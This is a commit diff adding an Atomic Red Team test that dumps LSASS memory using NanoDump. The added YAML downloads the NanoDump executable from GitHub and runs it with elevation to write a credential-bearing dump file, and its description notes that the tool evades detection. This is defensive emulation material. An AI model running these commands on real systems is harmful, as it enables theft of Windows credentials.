Add lsass dump via NanoDump atomic (#1670)

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>

atomics/T1003.001/T1003.001.yaml

@@ -138,6 +138,33 @@ atomic_tests:
       del C:\windows\temp\dumpert.dmp >nul 2> nul
     name: command_prompt
     elevation_required: true
+    
+- name: Dump LSASS.exe Memory using NanoDump
+  description: |
+    The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
+    
+    https://github.com/helpsystems/nanodump
+
+    Upon successful execution, you should find the nanondump.dmp file in the temp directory
+  supported_platforms:
+  - windows
+  dependency_executor_name: powershell
+  dependencies:
+  - description: |
+      NanoDump executable must exist on disk at specified location ($env:TEMP\nanodump.x64.exe)
+    prereq_command: |
+      if (Test-Path $env:TEMP\nanodump.x64.exe) {exit 0} else {exit 1}
+    get_prereq_command: |
+      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
+      Invoke-WebRequest "https://github.com/helpsystems/nanodump/raw/84db0c1737bbe027431733c193cfacf59a07259b/compiled/nanodump.x64.exe" -OutFile "$env:TEMP\nanodump.x64.exe"
+  executor:
+    command: |
+      %temp%\nanodump.x64.exe -w "%temp%\nanodump.dmp"
+    cleanup_command: |
+      del "%temp%\nanodump.dmp" >nul 2> nul
+    name: command_prompt
+    elevation_required: true
+
 - name: Dump LSASS.exe Memory using Windows Task Manager
   auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607
   description: |